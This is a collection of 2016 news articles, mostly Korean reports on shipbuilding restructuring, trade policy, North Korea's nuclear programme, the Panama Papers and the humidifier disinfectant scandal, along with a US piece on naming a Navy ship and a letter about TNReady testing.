"Naming a ship the USS Chattanooga specifically to honor those who lost their lives during the attack is a worthy recommendation," Capt. Patrick McNally, a special assistant in the Navy's public affairs office, wrote in an April 8 letter to the congressman.

"I can assure you the suggestion will receive every consideration when names are chosen for future ships," McNally concluded.

Fleischmann, an Ooltewah Republican whose congressional district includes Chattanooga, said he interpreted McNally's response to mean the Navy is looking favorably upon the request. He said he would continue to push the Navy to make the request a priority.

"The path forward is very clear, and I'm very encouraged," he said.

Fleischmann and other Congress members from Tennessee and Georgia sent a letter to Navy Secretary Ray Mabus in March asking that "an appropriate naval vessel" be named after the five servicemen killed in the attack.

A lone gunman opened fire last July on a military recruiting station and the Navy and Marine Corps Operational Support Center in Chattanooga.

Killed were Gunnery Sgt. Thomas Sullivan, Staff Sgt. David Wyatt, Sgt. Carson Holmquist, Lance Cpl. Squire "Skip" Wells and Navy Petty Officer 2nd Class Randall Smith.

The shooter, Muhammad Youssef Abdulazeez, was killed in a gunfight with police.

All five of the servicemen were awarded the Purple Heart last December because the attacker was found to be inspired by propaganda from a foreign terrorist organization.

Fleischmann said naming a ship in honor of the victims would be a part of the healing process for the community.

"The city of Chattanooga suffered a tremendous loss with the attack," he said. "We're still going through a healing process. We will always be going through a healing process when you suffer a loss of this magnitude."
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I share the opinion of parents around the state who say TNReady testing was a complete failure.

My student at Tennessee Virtual Academy has high-functioning Asperger's syndrome and struggles with handwriting because his brain works faster than his hand can write. For this reason, he struggles on the writing assessment portion of the state test each year, but does well in the virtual school environment where he can type to keep up with his extremely intelligent thoughts.

After preparing all year for a computer-based TNReady test, my student and his classmates at TNVA were told at the very last minute they would be taking a paper version of the test, and that none of the writing portion at all would be administered on the computer. We had not prepared for handwriting the test one single day all year, and this news was incredibly stressful for these students.

My child worked harder than I've ever seen to prepare for a test that he knew could determine the future of his school, and he was set up for failure by an administration that failed to identify and fix major problems before testing began. Taking a test in a format that had not been taught or prepared for all year was not fair for any child, and cannot measure the academic progress they've made. I am frustrated that the Department of Education in Tennessee can't do any better than the disaster that is TNReady.

Tina Cochran, Kingston
/Yonhap



Hyundai Heavy Industries Co., the world's largest shipbuilder by order backlog, will cut more than 10 percent of its workforce this year as part of its restructuring efforts, industry sources said Thursday.

The Ulsan, South Korea-based shipbuilder is planning to announce its detailed self-help measures, including the planned job cuts and the sale of non-core assets, next week, people familiar with the matter said.

The move comes after the 27,000-member company inked a hefty net loss of 1.363 trillion won ($1.2 billion) in 2015 as declining orders and delayed deliveries of vessels cut into its bottom line.

"We are considering multiple measures to ride out the worst crisis that we have ever faced. But we can't provide any undecided details on the (self-help) efforts," a company spokesman said.












Another massive reduction in the local shipbuilding workforce may come as most shipyards are still struggling with falling orders and mounting losses, industry sources said Friday.

Hyundai Heavy Industries, one of the country's top three shipbuilders, is set to announce its restructuring plans next week, which may include a 10 percent cut of its workforce, which would mean about 3,000 workers would leave the company.

Hyundai Heavy's local rivals are also expected to sharply reduce their workforces this year, with their subcontractors being forced to follow suit.

Samsung Heavy Industries has been implementing an early retirement scheme since last year, and Daewoo Shipbuilding & Marine Engineering is working to streamline its business lines through a spin-off.

Hit by an industrywide slump and increased costs, the nation's big three shipyards -- Hyundai Heavy Industries, Daewoo Shipbuilding & Marine Engineering and Samsung Heavy Industries -- racked up a combined loss of 7.7 trillion won last year.












By Choi Sung-jin



The government, racking its brain to reanimate languid exports, has entered into a war against nontariff trade barriers in other countries.



Beginning early this month, the Ministry of Trade, Industry and Energy started thorough probes of the nontariff barriers of major trading partners and set up a counter-strategy, officials said.



Overseas offices of the Korea Trade-Investment Promotion Agency (KOTRA) and commercial attaches at Korean embassies are holding meetings with Korean companies operating in the countries as well as conducting surveys.



One agency playing a central role in the government efforts is the Korean Agency for Technology and Standards (KATS), which is busy collecting and analyzing examples of technical barriers to trade, or TBT, which are "hidden" in free trade agreements that Korea has joined or is expected to join soon, the officials said.



"Nontariff barriers, such as technological standards, are replacing traditional trade barriers to emerge as new causes of trade friction," a ministry official said. According to a ministry report released Thursday, the number of TBT notified to the World Trade Organization (WTO) by member countries had remained at fewer than 1,000 a year until the mid-2000s but jumped to about 2,000 after 2010.



Also on the rise are special trade concerns, or STC, which refer to formal objections raised by WTO members to technical barriers to trade set up by other members. Among such special trade concerns, most noticeable were newly erected TBT without notification to the world trade body. The number of such examples totaled 19 last year, the highest, indicating more countries have blocked the exports of other countries by building TBT in clandestine ways.



Triggering Seoul's move was the Chinese government's decision early this year not to give subsidies to electric-car batteries made by Korean companies. In January, Beijing decided to subsidize only LFP electric bus batteries made mostly by Chinese companies while excluding NCM batteries supplied by Korean makers such as LG Chemical and Samsung SDI.



"Since then, we have reached a consensus to make an overall checkup of nontariff barriers," the ministry official said. One of the agenda items at a meeting of ministers responsible for international economic relationships, held on April 7, was China's nontariff trade barriers and countermeasures, he said, adding that it was rather rare the meeting dealt with a specific country's nontariff barriers.



Korea has signed free trade agreements with almost all its important partners, including the United States, China and the European Union, meaning it cannot expect to increase exports by lowering tariff rates, and the only way left is to open new routes through tearing down nontariff barriers, the official said. "As the U.S. pressured Korea to abolish automobile-related regulations, now is the time for Korea to deal preemptively with underdeveloped technological standards of other countries," he said.



There have also been some results. Last year, the government raised eight cases of special trade concerns against China, India and other countries, and broke down two trade barriers.



In 2014, for example, the Chinese government banned the attachment of sticker-type labels to cosmetics, called "over-labeling" by the industry, forcing Korean and other exporters to spend more money on separate packaging of products shipped to China. Beijing lifted the ban late last year, yielding to persistent efforts by the Korean government and business officials.




By Kim Jae-won

Hanjin Group Chairman Cho Yang-ho gave up his management control of the group's shipping unit on Friday, leaving the heavily indebted shipper in the hands of creditors, bank officials said.

The board of Hanjin Shipping decided to file for receivership and give creditors authority to manage the company, bowing to calls from the government and its main creditor Korea Development Bank (KDB) which asked Cho to accept heavy restructuring of the company.

"Board directors of Hanjin Shipping decided to give up their management control for debt restructuring," said a KDB spokesman.

The main creditors will discuss whether to put the company on a debt rescheduling program.

The announcement came a few days after KDB Chairman and CEO Lee Dong-geol visited Cho to discuss how to revive the shipping company. Finance Minister Yoo Il-ho also asked shipping companies to push for tough corporate restructuring.

Representatives at Hanjin were not available for comment.

Shipping companies are under heavy debt due to expensive rental fees paid to ship owners. The government is pushing the nation's two players  Hyundai Merchant Marine and Hanjin Shipping  to cut the fees as they signed contracts establishing the prices with ship owners from the U.K. and Greece at a time when the industry was booming. So far, no good news has been announced.













Protective measures

Separately, Hyundai Heavy Industries (HHI) and other shipbuilders are also struggling to keep afloat. They plan massive layoffs as part of restructuring.

To provide a cushion against the imminent layoffs, the government plans to designate the shipbuilding industry as "a special employment sector," seeking to help the thousands of employees facing unemployment.

The Ministry of Employment and Labor said that it is examining ways to support shipbuilding employees as they are in danger of losing their jobs hit hard by poor performance of the companies and low demand in the global markets.

"We are mulling offering special treatment of employees in the shipbuilding industry as they face strong corporate restructuring," said a spokesman for the ministry. "They will be offered more subsidies and benefits."

According to the ministry, if an industry is designated as a special employment sector, companies in that industry get additional subsidies for keeping their employees working. Workers are also paid more subsidies after they are laid off as well as receiving support for finding new jobs.

The announcement came amid HHI's plans to cut 3,000 jobs, struggling to keep afloat after posting a combined 4.8 trillion won net loss over the last two years. HHI is set to announce its restructuring plan next week, including a 10 percent cut of its workforce, following a reduction of 1,300 jobs last year.

Creditors and Daewoo Shipbuilding and Marine Engineering (DSME) also agreed to cut the shipbuilder's workforce by 2,000 to 11,000 by 2018, as part of the company's restructuring program. The government is pushing DSME even further, pressuring the company to reduce its workforce by 3,000 in the near future.

Local shipbuilders are suffering from declining orders, according to data from a global researcher. Clarkson Research Services said Korean shipbuilders had combined orders of 27.59 million compensated gross tons (CGTs) as of end-March, the lowest since March 2004 when it had orders of 27.52 million CGTs.
Kim Jong-un needs market economy to tighten control



By Kim Jae-kyoung



North Korea is expected to unveil reforms at a rare party congress in May, in a desperate bid to subdue internal tensions and maintain leader Kim Jong-un's domestic control, according to North Korea experts.



The effects of international sanctions against North Korea and its worsening relations with China are deepening the isolation of the hostile country and forcing Kim and his regime to find a breakthrough internally.



The experts forecast that Kim will introduce important economic changes at the seventh Workers' Party Congress, slated for early May. The last party congress was held in 1980.



"With disruptions to his U.S. dollar cash flow caused by the sanctions, the closure of the Gaeseong Industrial Complex and the upcoming seasonal dips in the availability of food, Kim needs to show the people that he has not forgotten the prosperity' line of Byeongjin," William Brown, a professor at the Georgetown School of Foreign Service, told The Korea Times.



The Byeongjin line is the country's policy of pursuing simultaneous development of nuclear weapons and bolstering the economy. In his New Year message, Kim vowed to revitalize the moribund economy and upgrade people's living standards.



"I would think he would use the congress to do that," Brown said. "Optimistically speaking, he might formalize more of a legitimate market system, changing the exchange rate and state wages and prices to reflect market realities."



This expectation does not sound implausible considering North Korea's isolation from the rest of the world has been deepening, with China halting purchases of its coal, metal ore and other minerals, which could sharply lower the cash flowing into the economy.



North Korea's economy is so weak that China withdrawing its support will further deteriorate not only the nation's finances but also the people's living standards. This will combine to force Kim to allow an open market, if limited in scope.



"The command economy is becoming so weak that it can't fend off the rise of natural and rather chaotic private markets," Brown said. "The best evidence for this is the growing circulation of U.S. dollars in North Korea.



"This is an amazing development in an economy that not long ago only used socialist ration tickets as a kind of pseudo money. Kim Jong-un has been smart enough not to resist the increased use of money, especially hard currencies, and markets."







Worsening relations with China



The worsening relationship with China, which used to be North Korea's last resort, is lending credence to the expectation that Kim will introduce some changes at the May gathering.



"The North Korea-China relationship is worsening and social control is tough," said Kongdan Oh, an Asian Studies specialist at the Institute for Defense Analysis in the U.S. "Kim Jong-un needs large funds to stage the party congress."



Since China agreed to join the latest sanctions against North Korea, the two countries have been trading barbs.



On March 2, the United Nations Security Council passed unanimously a resolution to deprive Pyongyang of funds if it continues its nuclear and ballistic missile programs, following its fourth nuclear test in January and the launch of a long-range rocket in February.



Chinese President Xi Jinping has been calling for dialogue to resolve the conflict on the Korean Peninsula but North Korea has rejected the demand, saying that the repressive country will not give up its nuclear and ballistic missile programs.



Asked whether his country felt pressure from China and other powers, So Se-pyong, North Korea's ambassador to the United Nations in Geneva, told Reuters: "Whether they are going to do anything, we don't care. We are going on our own way. (We are) not having dialogue and discussions about that."



In a recent interview with The Straits Times, Peking University Northeast Asian expert Wang Dong said China's sanctions will likely trigger ramifications for bilateral ties with North Korea.



"China will not tolerate North Korea's continuous pursuit of nuclear weapons and delivery capabilities, which poses a serious threat to China and to regional security," Wang said.




By Yoon Ja-young







Joo Hyung-hwan, trade, industry and energy minister

Trade, Industry and Energy Minister Joo Hyung-hwan marked 100 days since his inauguration, Thursday. The former vice finance minister was appointed to head the trade ministry while the country is witnessing exports  its sustaining pillar  faltering.

At a meeting with the reporters, Wednesday, Joo said that the pace of falling exports will soon slow down.



"Exports once recorded a 20 percent plunge. I thought that economic growth wouldn't be sustainable unless exports make a rebound."



Exports dipped 8.2 percent in March from a year ago, to record $43 billion. It was considered not to be a bad sign as exports have been falling by double digits the previous four months.



During the past 100 days, the minister has spent most of his time visiting diverse exporting firms. As soon as he was appointed as the minister, he visited a packaging machinery manufacturer to discuss ways to increase exports to China. The next day, he visited Boryung Medience, which manufactures goods for infants. Baby products are considered good export items to China which started allowing its people to have two babies. The minister has visited 37 export businesses during the past 100 days. Except for business trips overseas as trade minister, he spent most of his time with exporters.



He cited structural problems such as low oil prices and the Chinese slowdown as the reasons behind falling exports.



"Low oil prices persist, which is bad because 17 percent of Korea's exports are affected by oil prices. The economic slowdown in China continues which is bad because China buys around one quarter of Korea's total exports," he said.



"Basically, however, our major industries are losing competitiveness and we have failed to create new industries to take their places," the minister said.



Joo added that the country should increase exports through SMEs. "Around 95,000 firms are relying on domestic trade and only 30 percent of the SMEs are exporting their products. As the domestic market is saturated, SMEs should seek markets overseas. However, they are in need of government support as they lack manpower and experience."



Regarding corporate restructuring, he said that the ministry will analyze competitiveness of industries such as steel and shipbuilding, and provide reports to the management of the businesses as well as creditors.



"Basically, creditors will be at the center of solving the problem of the ailing companies and the ministry will assist them. Businesses, meanwhile, can engage in voluntary and preemptive restructuring," the minister said.



He added that the government will also focus on deregulation to nurture new industries and lessen the nation's reliance of fossil fuels. He said there will be concrete plans prepared soon regarding how to nurture the development and manufacture of electric and smart cars, for instance, through deregulation and other supportive measures.
By Yoon Ja-young



A special law aiming at enhancing the country's fiscal soundness will be prepared by the end of this year. Social insurance plans such as the public pension and the health insurance program will be more strictly managed to avoid the depletion of funds. These are part of the government's mid-term fiscal reform plan, announced Friday.



At the 2016 fiscal strategy meeting presided over by President Park Geun-hye, the government announced plans for fiscal reform and strategic allocation of resources, aimed at supporting economic recovery as well as achieving fiscal soundness.



Korea's fiscal health is still sound compared with other developed economies. However, experts expect it to deteriorate rapidly with demographic change, falling growth potential and increasing welfare spending. The country's working age population will start to contract beginning in 2017, leading to a decline in the nation's growth potential. Also, ailing companies are increasing in Korea's key industries such as shipbuilding and steel, while the country is still in search of new growth engines to step in for them.



If the current government spending structure continues, the ratio of state debt to GDP will reach 62.4 percent in 2060 from the current 40 percent range. In case the country falls in a low growth trap, the ratio may jump to as high as 94.6 percent. Japan, which faced similar problems two decades ago, delayed fundamental reforms while only sticking to temporary economic stimulus programs and expanding welfare spending for senior citizens. Japan's government debt ratio quadrupled to 245.9 percent in 2015 from 67 percent in 1990.



The government noted that social insurance funds will dry up unless they go through an overhaul. At the current pace, the health insurance fund is expected to be depleted by 2025, and the long-term care insurance fund by 2028. These funds will be more thoroughly controlled under the government's long-term fiscal outlook.



The government also seeks to enhance efficiency in asset management of the social insurance funds. The National Pension fund recorded a 4.6 percent investment return last year, but the employment insurance fund marked only a 2.5 percent investment return. "The National Pension is recording good investment return as it manages huge assets with diverse networks both domestic and overseas. However, it isn't so with other social funds because they lack human resources and information," vice finance minister Song Eon-seog said. He added that these social funds will be induced to form a council so that all of them can enhance profitability.



Budget spending, meanwhile, will be focused on creating jobs, seeking new growth engines and enhancing national security.



For social overhead capital (SOC), meanwhile, the government plans to encourage private sector participation instead of expanding government spending.



"In 2017, government ministries will be cutting their discretionary spending by 10 percent. The budget saved there will be invested in job creation or in projects to secure growth," an official at the finance ministry said.



Provincial governments will also be urged to be more cautious in spending. Spending on regional festivals, for instance, will be more tightly monitored and their effectiveness will also be evaluated.




Korea's government said Friday it will help speed up visa processing for a mass group of Chinese tourists scheduled to visit the country next month.

The Ministry of Justice said it will allow around 5,000 employees from a Chinese company to get visas through a simple online procedure. For some 3,000 high-ranking executives and managers of the company, the ministry said it will issue special visas that grant entry to South Korea for the next 10 years. It will also exempt them from visa fees.

Chinese firms have been sending thousands of employees to South Korea on incentive trips.

In January, 2,700 McDonald's employees based in China and 1,600 workers from a Chinese health equipment manufacturer visited South Korea. In March, 6,000 employees from Aolan International Beauty Group, a cosmetics and health supplements company based in China's southern province of Guangzhou, came for a week-long tour, followed by another 4,200 from a Shanghai-based financial group who visited this month.

The 8,000 Chinese tourists, scheduled to visit South Korea early next month, will be the single largest group of tourists to ever arrive in South Korea. (Yonhap)
By Kim Da-hee

Three "English villages" operated by Seoul City have come under fire for running for-profit programs that were outside their rules.

The villages  in Pungnap, Suyu and Gwanak  were found to have made money with lessons for the TOEIC and other English proficiency tests and lending their facilities for non-educational events, according to the audit bureau of Seoul Metropolitan Government.

These activities violate the city government's rules. The villages were established to give visitors an opportunity to experience foreign culture without traveling to English-speaking countries. They have now been banned from making money with lessons for English tests and other non-educational programs.

Insiders said the programs were needed to keep the facilities operating amid falling sales. The villages have suffered a decline in visitors in recent years, caused by the debut of more effective English education programs.

The audit bureau said the English village in Suyu, northern Seoul, earned 140 million won ($123,424) through holiday programs for TOEIC, a certified English test, four times from 2013 to 2015.

The village in Pungnap-dong, eastern Seoul, had a contract with a university in December 2014 and offered a program for business English and TOEIC to the university's students. The village made about 80 million won ($70,528) from the program.

The Gwanak Camp in Naksungdae, southern Seoul, earned around 20 million won ($17,632) by twice providing additional programs.
By Choi Sung-jin



There is hot debate among Korean netizens on whether it is appropriate to wear mountaineering clothes while traveling abroad.



Last month, someone posted a piece in one online community with the title "Is hiking outfit banned for travelers to Europe?" The writer said he received a text message from his tour guide that said: "Europe is not for mountaineering. Please don't wear alpine clothes."



The writer went on: "I remember watching a local broadcast about a similar subject. It seems many Koreans go abroad in hiking outfits."



Most of the Internet users responded with words like "shame" or "disgrace."



"Just imagine a group of people in alpine clothes wandering around ancient streets, old castles and beautiful churches of Europe," said a blogger. "It spoils beautiful landscapes."



Some others agreed, saying: "Europeans tend to see Koreans in hiking clothes unfavorably. Dresses should suit time and place."



There were rebuttals, though. "Foreigners, including Americans and Canadians, are also in mountain wear in Europe," another netizen said. "Many foreign tourists in their 20s and 30s are in hiking outfits."



Another said: "It's okay, except for attending concerts of classical music or eating at expensive restaurants that require certain dress codes. Europeans do not mind and it's funny to argue among Koreans about such a non-issue."



Many others expressed their consent, saying, "Right," and "Hands off my travel life."



Even tourism agencies expressed different views.



"Koreans in their 40s and 50s tend to wear mountain clothes so much that foreigners can spot them from afar," said a tour industry official. "When they make mistakes or kick up a fuss, it's quite shameful. So some agencies and guides recommend they wear ordinary clothes."



An official at a different agency said: "We have not made an issue with tourists in hiking outfits. Dress hardly matters."




By Jung Min-ho



Two children of AmorePacific founder Suh Seong-hwan were named in the Panama Papers for establishing off-shore companies in a tax haven.



According to a report by Newstapa, Suh Young-bai, the founder's eldest son and chairman of Pacific Engineering and Construction, set up a shell company named Watermark Capital in the British Virgin Islands in 2004.



The report comes as the Financial Supervisory Service (FSS) is investigating Koreans allegedly involved in the international tax evasion scandal, which was triggered by leaked documents containing detailed information about more than 214,000 offshore entities around the world.



Suh was found to be the sole stockholder of Watermark Capital at the Akara Building on Tortola, an address used by thousands of offshore companies from different countries.



According to the report, Singapore-based ING Asia Private Bank helped him set up the shell company and hide his identity. In 2013, the bank allegedly replaced his name with Alliance Corporate Services Limited, another bogus company it created, as the owner of Watermark Capital.



Suh Mi-sook, the youngest daughter of the AmorePacific founder, was also found to set up a shell company, Weise International LTD, in the British Virgin Islands in 2006.



The company was co-owned by her three sons, including the youngest one who was only eight years old at the time, according to internal documents.



When asked why she set up the company, her lawyer told Newstapa that the account was created only to manage her money in Canada. According to her lawyer, she sent 3.7 billion won ($3.3 million) to her account in Canada in 2006 because she planned to move there, but returned the money in 2008 after she cancelled the plan.



The lawyer, however, did not explain why her three sons were registered as stockholders of the company.



Creating a shell company itself is not illegal according to Korean law. However, it becomes a problem when they are used for illegal activities such as dodging taxes or hiding illicit wealth.



A total of 195 Koreans are so far known to be named in the Panama Papers, including Roh Jae-heon, the eldest son of former President Roh Tae-woo.



The papers contain 11.5 million confidential documents about more than 214,000 offshore companies that were compiled by Panamanian law firm Mossack Fosneca.




By Chung Hyun-chae



Two Korean victims of Japan's wartime sexual slavery have made donations to help the victims of strong earthquakes that hit Kumamoto Prefecture, Japan, last week.

Kim Bok-dong, 90, contributed 1 million won and Gil Won-ok, 88, donated 300,000 won to the Korean Council for the Women Drafted for Military Sexual Slavery by Japan on Wednesday for relief efforts in Japan.

"Our quarrel is with the Japanese government, not ordinary Japanese people," Kim said at the most recent Wednesday rally. "We cannot just stand by with folded arms while our neighbors are suffering."

Two earthquakes, measuring magnitudes 6.5 and 7.3, hit Japan's Kumamoto region on the island of Kyushu on April 14 and 16, killing more than 40 people.

"In deference to these women, we will try to relay their heartfelt messages to Japan," Yoon Mee-hyang, a representative of the civic organization, told The Korea Times, Friday, showing her appreciation to them.

The organization plans to collect more donations and deliver them to Japan.

The two former sex slaves encouraged other people who attended the rally to donate to the charity.
By Kim Se-jeong



An employee of the Korean office of Reckitt Benckiser, the manufacturer of the humidifier disinfectant blamed for killing 103 people, told a local newspaper that the company's tight budget and disregard for safety resulted in the deaths.



Speaking with Hankyoreh, a Korean-language newspaper, the employee who didn't disclose his name said, "This scandal was brought up by excessive budget tightening and a disregard for safety."



The worker also said the company is responsible for 103 deaths and that "it should apologize and conduct an internal investigation as to what had caused the crisis."



The remarks came one day after the company offered to donate 5 billion won for the victims  but, the offer fell short of the company taking responsibility for the deaths.



The employee added that the company chose to use a toxic chemical, known as PHMG, in 2001 because it had a cheap offer from SK Chemical and "failed to verify the safety of the chemical." By law, the Britain-based Reckitt Benckiser was obliged to study the chemical's toxicity carefully before manufacturing the chemical.



The humidifier disinfectant case is one of Korea's worst scandals involving consumer products ever.



The government has identified 530 victims, among whom 146 have died. The number is expected to rise as the government is conducting tests on hundreds of further claims.



The scandal broke out in August 2011. The Korea Centers for Disease Control and Prevention (KCDC) announced that the products were suspected of causing lung failure in several pregnant women and children, and recommended all 12 toxic products removed from store shelves.



Many said they had used Reckitt Benckiser's product, called Oxy.



Numerous damage suits and complaints have been filed by victims against manufacturers and the government.



A major breakthrough came this January when prosecutors took up the case. So far, it has questioned victims and activists, and this week it began summoning representatives of manufacturers, including Oxy Reckitt Benckiser.



The investigation pushed Lotte Mart and the British company to react. On Monday, Lotte said it will start compensation negotiations soon. On Thursday, Oxy Reckitt Benckiser said it would donate 5 billion won to the victims.



The prosecution has stayed tightlipped about its investigation, but news reports keep coming out.



A week ago, it was reported that the prosecution found evidence that Oxy had paid a scientist at Seoul National University in 2011 to produce a fraudulent report which became the foundation of its claims that there was no link between the chemicals used in the product and the deaths.



On Friday, KBS revealed the original report the SNU scientist had submitted to the company, showing that the chemical was deadly enough to harm people.



It was also reported that the British company had deleted consumer complaints about the side effects of its product posted on its website.



Victims are closely watching developments as they prepare to file a damage suit next month against the British company in a U.K. court.




Kim Hwang-sik

Ex-prime minister Kim Soo-han

Former speaker Rep. Lee Jung-hyun

Park loyalist



By Rachel Lee

The ruling Saenuri Party is locked in an internal dispute over who should lead the party ahead of its national convention to elect a new leader, which may take place in June or July.

This is likely to be a key topic at a meeting of those elected in the general election last week, which is scheduled for next Thursday.

Former Prime Minister Kim Hwang-sik and former National Assembly speakers Kim Soo-han and Kang Chang-hee are among the potential candidates for interim leader. Korea Peace Foundation President Han Hwa-gap, formerly a liberal politician, is also considered a candidate.

Rep. Lee Jung-hyun, a close ally of President Park Geun-hye, also announced his intention to run for party chairman.

Observers, however, say candidates from the pro-Park faction seem likely to be excluded from the new party leadership, considering the unfavorable sentiment toward her loyalists following the poor election performance.

According to the ruling party, Friday, a majority of those loyal to President Park as well as rival factions will attend the meeting of lawmakers-elect to discuss a number of pending issues within the party, including the reasons behind the election defeat and whether to accept former Saenuri members who applied to rejoin the party after winning in the election as independents.

Rep. Kim Moo-sung resigned as party chairman following the election.

Floor leader Won Yoo-chul has placed the formation of the emergency committee at the top of the meeting agenda. Won is serving as the head of the committee until a new chairman is chosen.

At the meeting, the lawmakers-elect are expected to discuss whether to select the new chairman from outside the party, including the party's senior members. They will also talk about other possibilities such as the next floor leader taking the chairman position.

"It's a shameless thing for a Park loyalist to apply for party chief," said Rep. In Myung-jin, former chairman of the Ethics Committee of the Grand National Party, the predecessor of Saenuri Party. "They cannot justify themselves. The pro-Park faction running for new leadership will completely ruin the party."

Some reformist lawmakers of the Saenuri Party called for all party members to refrain from joining the race to become party chief, saying they all are responsible for the poor showing in the April general election.

They said in a statement that they will "actively participate in self-examination according to the results of the general election and look for alternative plans."

"Those responsible for the party's defeat should step back, and new faces should be leading the party if we really care about the President. And it doesn't matter if you are pro-Park or anti-Park."

Rep. Lee has criticized the reformist lawmakers for "aggravating the internal split."

Another lawmaker loyal to Park said the group should not "attack the President for losing the general election and also come into conflict with Cheong Wa Dae since a faction-free party" is what they are pursuing.
Ecuadorian Ambassador to Korea Oscar Herrera Gilbert speaks to reporters during a press conference at his office in Seoul, Friday. He asked Koreans to donate cash to help quake victims in Ecuador./Yonhap



By Lee Jin-a, Park Si-soo



The Ecuadorian Embassy in Seoul has launched a fundraising campaign to help people of the Latin American country devastated early this week by the worst earthquake in a decade.

Ecuadorian Ambassador to Korea Oscar Herrera Gilbert hosted a press conference at his office in Seoul, Friday, asking Koreans to donate cash, which will be used to help victims of the 7.8-magnitute quake that wrecked the nation's coastal cities. The embassy has opened a bank account in KEB Hana Bank for donations.

"About 85 percent of citizens living in Pedernales were killed or injured by the earthquake," the ambassador said. "We ask South Korea to help the victims to recover quickly from the damage. Even though the magnitude of the earthquake is similar to Japan's, we received four times the damage."

The death toll jumped to 587 Thursday (local time), with more than 150 still missing. An estimated 25,000 people lost their homes, while 40,000 are in need of immediate support, according to the ambassador.

The embassy said foreign tourists were not counted in the number of victims because relevant data is buried in the rubble of collapsed hotels.

The ambassador said the Ecuadorian government is now focusing on helping survivors because the chance of finding people alive under the debris is increasingly slim.

"We decided to move on to the next step of the rescue process, which is building emergency shelters, because the golden time has passed," the ambassador said. "The Ecuador government is doing its best to rescue the missing people, but we believe there aren't many survivors because seven days have already passed."

He said any donation would be a big help to his nation.

"The easiest and fastest way to help Ecuador from Korea is cash," said Gilbert. "Many South Korean companies have donated relief goods, but the cost and time to send the products are immense. We hope many South Koreans understand our situation and help victims to overcome the damage from the catastrophic disaster."

Korea has decided to offer $700,000 in aid to Ecuador, according to the Foreign Ministry.
The chief nuclear envoys of South Korea and China held talks on Friday as satellite images indicate that North Korea may be preparing to conduct its fifth nuclear test, possibly ahead of its key party congress early next month.

Kim Hong-kyun, South Korea's Special Representative for Korean Peninsula Peace and Security Affairs, arrived in Beijing earlier in the day and began talks with his Chinese counterpart, Wu Dawei, said a South Korean diplomat who was involved in the Friday meeting.

Before departing for Beijing, Kim told Yonhap News Agency by telephone that he and Wu will have an "in-depth exchange of views on a range of cooperative measures, including an earnest implementation of U.N. Security Council resolutions, how to curb North Korea's additional provocations and countermeasures in the event of a North Korean provocation."

North Korea has been slapped with tough international sanctions following its fourth nuclear test in January and the launch of a long-range rocket in February.

Defying sanctions and international condemnation, North Korea has vowed to carry out more nuclear tests and ballistic missile launches.

Satellite images have shown that North Korea may have resumed tunnel excavation at its main nuclear test site.

North Korea is gearing up for a key party congress early next month with some analysts saying that Kim Jong-un may think that a fifth nuclear test is needed to burnish his credentials ahead of the May event.

On Thursday, Ambassador Sung Kim, the U.S. Special Representative for North Korea Policy, held talks with Wu in Beijing.

Kim said the U.S. and China "remain united on our firm opposition to North Korea's provocative and irresponsible behavior."

The U.S. and China "are deeply concerned" over signs of North Korea preparing for another nuclear test, Kim said, urging the North to refrain from making any such provocation. (Yonhap)
By Yi Whan-woo

The top nuclear envoys of South Korea and China held talks in Beijing, Friday, to discuss ways to curb North Korea's persistent nuclear ambitions, in line with the U.N. Security Council's (UNSC) toughest-ever sanctions.

Kim Hong-kyun, special representative for Korean Peninsula Peace and Security Affairs at the Ministry of Foreign Affairs, met his Chinese counterpart Wu Dawei as part of Seoul's efforts to maintain "close contact" with China, according to the ministry.

Before his departure to Beijing, Kim said that China-South Korea ties will be critical in reaching a satisfactory resolution.

Pyongyang defied the U.N. and made a failed attempt to fire Musudan intermediate-range ballistic missiles on April 15.

The provocation came after the unanimous approval of UNSC Resolution 2270 in March to tighten sanctions on North Korea in response to its latest nuclear test.

"Our primary concerns are security on the peninsula and how we can cooperate to faithfully implement the UNSC resolution to prevent North Korea from making further provocations," he said.

Speculation is rampant that the Kim Jong-un regime will carry out its fifth nuclear test on the occasion of the seventh Congress of the Workers' Party. The rare congress is expected to take place in early May.

South Korea and the U.S. have been trying to bolster their bilateral talks with China, while seeking to enhance the three-way alliance with Japan.

Sung Kim, the U.S. six-party talks representative, held a separate meeting with Wu in Beijing, Thursday. He then said their countries both oppose North Korea's provocations.

On Tuesday, South Korea, the U.S. and Japan, during vice-ministerial talks in Seoul, warned North Korea of stronger punishments and deeper isolation if the military state makes further provocations.

Meanwhile, Foreign Minister Yun Byung-se will attend a regional security forum in China next week to increase international pressure on North Korea over its nuclear and missile programs, the foreign ministry said.

Yun will attend a ministerial meeting of the Conference on Interaction and Confidence Building Measures in Asia (CICA).

He will be the first South Korean foreign minister to join the annual conference that was first proposed in 1992.
By Rachel Lee

North Korean Foreign Minister Ri Su-yong protested U.N. sanctions against Pyongyang, saying his country developed nuclear weapons only to cope with nuclear threats from the United States.

Ri made the claim during his keynote speech at a high-level meeting of the 2030 Sustainable Development Goals (SDGs) at U.N. headquarters in New York, Thursday.

"We tried to hold a dialogue and make efforts through international law to remove nuclear threats, but we were left with only one choice, which is to respond to nukes with nukes," Ri said.

His remarks came at a time when there is a growing concern that Pyongyang might go ahead with its fifth nuclear test.

The North Korean minister also claimed that the U.S. is conducting what he described as the biggest ever nuclear war exercises on the Korean Peninsula, with 300,000 military personnel involved, apparently referring to the annual military exercises which were expanded this year in response to increased tensions with North Korea.

In his speech, Ri urged Washington to stop its hostile policy towards his country and said that Pyongyang is determined to seek compensation from the U.S. for hampering with its sustainable development.

He said Washington's attempts to tumble the North through an economic blockade is an "expression of ignorance."

Ri visited New York last September to attend the U.N. General Assembly.

His visit led to speculation that the foreign minister might meet with U.S. officials such as Secretary of State John Kerry but this has been denied.

U.N. Security Council (UNSC) Resolution 2270 was imposed on March 2 in response to Pyongyang's latest nuclear test in January and subsequent long-range rocket launch in February.
South Korea's chief nuclear envoy will visit China this week for talks on North Korea, Seoul's Foreign Ministry said Thursday, amid growing concerns Pyongyang may conduct another nuclear test.

Kim Hong-kyun, special representative for Korean Peninsula peace and security affairs, will visit Beijing on Friday where he will meet with his Chinese counterpart, Wu Dawei, to discuss ways to deter additional North Korean provocations and faithfully implement U.N. Security Council sanctions against Pyongyang, ministry spokesman Cho June-hyuck said in a regular press briefing.

Concerns have grown that North Korea will conduct its fifth nuclear test in the coming weeks, with satellite imagery showing increased activity at its main nuclear test site at Punggye-ri, in the northeastern part of the country.

The UNSC sanctions, which were adopted last month in response to the North's fourth nuclear test and long-range rocket launch earlier this year, are designed to starve the regime of the money it needs to develop its nuclear and missile programs.

China is North Korea's main ally and economic lifeline, meaning its cooperation will be crucial for the sanctions to have an effect.

